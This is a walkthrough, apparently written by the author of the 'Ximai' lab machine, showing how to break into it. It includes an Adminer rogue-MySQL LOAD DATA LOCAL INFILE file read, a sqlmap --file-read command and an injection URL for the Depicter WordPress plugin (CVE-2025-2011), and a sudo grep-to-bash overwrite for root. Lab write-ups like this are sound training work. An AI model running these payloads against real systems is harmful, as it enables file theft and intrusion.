Ximai靶机出题复盘

Initial Access

Copy
└─# rustscan -a `IP` -- -sCV -Pn -n
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TreadStone was here 🚀

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.56.62:22
Open 192.168.56.62:80
Open 192.168.56.62:3306
Open 192.168.56.62:8000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sCV -Pn -n" on ip 192.168.56.62
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 15:36 CST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
Initiating ARP Ping Scan at 15:36
Scanning 192.168.56.62 [1 port]
Completed ARP Ping Scan at 15:36, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:36
Scanning 192.168.56.62 [4 ports]
Discovered open port 22/tcp on 192.168.56.62
Discovered open port 80/tcp on 192.168.56.62
Discovered open port 3306/tcp on 192.168.56.62
Discovered open port 8000/tcp on 192.168.56.62
Completed SYN Stealth Scan at 15:36, 0.03s elapsed (4 total ports)
Initiating Service scan at 15:36
Scanning 4 services on 192.168.56.62
Completed Service scan at 15:36, 12.46s elapsed (4 services on 1 host)
NSE: Script scanning 192.168.56.62.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 2.60s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.13s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
Nmap scan report for 192.168.56.62
Host is up, received arp-response (0.00074s latency).
Scanned at 2025-05-31 15:36:20 CST for 15s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
| 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
3306/tcp open mysql syn-ack ttl 64 MariaDB 10.3.23 or earlier (unauthorized)
8000/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-generator: WordPress 6.8.1
|_http-title: NeonGrid Solutions
MAC Address: 08:00:27:DD:A7:DA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.70 seconds
Raw packets sent: 5 (204B) | Rcvd: 5 (204B)

开放了 22,80,3306,8000 四个端⼝，80 和 8000 是 web，22 是 ssh，3306 是 Mysql

当然，其中 3306 端口虽然开放，但尝试连接后发现是个 “烟雾弹”，连接不上。

80 - web

用 dirsearch 能扫出来
/info.php
/adminer.php

再用 gobuster 配上 medium 字典深入扫描，又挖出了一个
/reminder.php

reminder.php

拿到一个用户名 jimmy

网页中间的图片地址为：http://192.168.56.62/that-place-where-i-put-that-thing-that-time/1b260614-3aff-11f0-ac81-000c2921b441.jpg

我们来到这个路径可以发现还有一个 creds 文件在/etc/jimmy.txt

结合上下文，这 jimmy.txt 很可能就藏着 jimmy 用户的密码！看来，我们的核心目标就是要想办法读取这个文件了。

另外，页面下方似乎还有个 SQL 注入。

不过，当你尝试多输入几个单引号可以发现，无论奇数偶数都报错，这可就不太符合常规了！一般情况单引号为奇数个才会报错，而偶数则不会，所以这是我留的兔子洞。

但话说回来，通过 SQL 注入读文件确实是个好思路，也许其他地方还有 “真” 注入点呢？

adminer.php

接下来看看 /adminer.php。

Adminer 是一个轻量级的数据库管理工具，通过它我们可以连接任意数据库。然而，这个 Adminer 是最新版本，没有已知的漏洞。在没有数据库凭据的情况下，我们暂时把它放到一边，毕竟 “巧妇难为无米之炊” 嘛。

8000 - web

扫描 8000 端口发现⼀个域名，wordpress.local ，添加到 /etc/hosts 中再访问。

可以发现就是最新版本的 wordpress，没动什么手脚。

有一篇文章给了提示，这个提示其实就对应了两个利用方案。

mysqli.allow_local_infile = on 很有意思：
mysqli.allow_local_infile 是 PHP 中控制是否允许通过 LOAD DATA INFILE 语句从本地文件系统加载数据到 MySQL 数据库的配置。这意味着，如果我们能控制数据库连接，就可以利用这个特性读取靶机上的任意文件，然后写入到我们的数据库里！

思路清晰，立刻行动！我们可以在 Kali 攻击机上配置一个 MySQL 数据库，然后通过 Adminer 进行 “数据库劫持”，将靶机的文件 “搬运” 过来。

首先，编辑 Kali 的 MySQL 配置文件 /etc/mysql/mariadb.conf.d/50-server.cnf，把 bind-address = 127.0.0.1 改为 bind-address = 0.0.0.0，这样我们的数据库就能对外开放连接了。然后启动服务。

接着，在 Adminer 界面连接到我们 Kali 上的数据库，

然后执行以下 SQL 命令：

Copy
-- 创建用于存储数据的表
CREATE TABLE exploit (
data TEXT
);
-- 使用本地infile语法加载目标文件
LOAD DATA LOCAL INFILE '/etc/jimmy.txt' INTO TABLE exploit
FIELDS TERMINATED BY "\n";

-- 查询结果
select * from exploit;

即可拿到密码HandsomeHU

详细利用过程可以参考下这篇文章：https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f

当然，这里要 “剧透” 一下，最新版本 adminer 是不允许你这样操作的，这里能够成功是因为我修改了源码：$this->options(MYSQLI_OPT_LOCAL_INFILE,true)

上面是标准解法。为了降低难度，我还留了个后门 ——WordPress 插件存在 SQL 注入漏洞。

使用 wpscan 扫描可能会比较慢，但用 nuclei 很快出结果，还是非常好用的：

Copy
nuclei -u http://wordpress.local:8000

下载 CVE-2025-2011 POC，反复尝试发现没有用，这个 POC 是坏的。

Copy
└─$ python3 52285.py -u http://wordpress.local:8000
╔════════════════════════════════════════════════════════════════╗
║ CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 ║
║ By datagoboom ║
╚════════════════════════════════════════════════════════════════╝
[*] Target URL: http://wordpress.local:8000
[+] Successfully connected to the target
[*] Checking if the target is vulnerable...
[-] Target does not appear to be vulnerable
[*] Try checking manually in your browser:
http://wordpress.local:8000/wp-admin/admin-ajax.php?s=test%' AND
EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=D
ESC&sources=&action=depicter-lead-index
[-] Exiting as target does not appear to be vulnerable

分析漏洞发现注入点是admin-ajax.php?s=test*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index
于是 sqlmap ⼀把梭。

这里我本意没想让你 getshell，只需要利用 sql 注入读文件就好了

Copy
sqlmap -u 'http://wordpress.local:8000/wp-admin/admin-ajax.php?s=t*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index' --batch --file-read=/etc/jimmy.txt

所以说，条条大路通罗马。当然，如果你能读到 wp-config 文件，拿到数据库密码，再通过 Adminer 连上数据库，修改 WordPress 管理员密码进后台，那也是一条康庄大道：）

Privilege Escalation

jimmy

ssh 登录 jimmy 用户。你会发现环境变量被动了手脚，导致许多命令都无法直接执行，不过这倒难不倒我们，用绝对路径执行命令就能绕过。解决方法也很多，比如自己 export PATH，或者直接删掉 .bashrc 里被修改的那一行，甚至直接删掉 .bashrc 也行。

本地有两个用户：adminer 和 jimmy

在 wp-config 文件中找到 adminer 用户密码，当然还有 mysql 数据库的密码。

这里有趣的地方是，wordpress 的 adminer 用户和系统的 adminer 用户密码是复用的。

adminer

adminer 可以无密码执行 /usr/bin/grep

Copy
su adminer
adminer@Ximai:/var/www/wordpress$ sudo -l
Matching Defaults entries for adminer on Ximai:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User adminer may run the following commands on Ximai:
(ALL) NOPASSWD: /usr/bin/grep
adminer@Ximai:/var/www/wordpress$ sudo /usr/bin/grep ' ' /root/root.txt
sorry, you are restricted from using this command.try egrep instead.

这个 grep 显然是被动手脚了：

Copy
jimmy@Ximai:/var/www/wordpress$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp:/snap/bin
jimmy@Ximai:/var/www/wordpress$ file /usr/bin/grep
/usr/bin/grep: ASCII text
jimmy@Ximai:/var/www/wordpress$ ls -l /usr/bin/grep
-rwxr-xrwx 1 root root 76 May 28 09:06 /usr/bin/grep
jimmy@Ximai:/var/www/wordpress$ cat /usr/bin/grep
echo 'sorry, you are restricted from using this command.try egrep instead.'
jimmy@Ximai:/var/www/wordpress$

发现有写权限，那就好办了，cp /bin/bash /usr/bin/grep覆盖它即可。

结语

这个靶机总体难度我觉得算是 easy to medium。Web 部分我留了两个与数据库 / SQL 相关的入口，难度都不大。当然，靶机里冗余的东西确实不少，需要你细心枚举，多一些耐心来 “沙里淘金”。

提权部分则相对简单，主要考查的是细心程度。大概就是这样，希望我出的靶机能让你有所收获，也欢迎大家在评论区交流心得！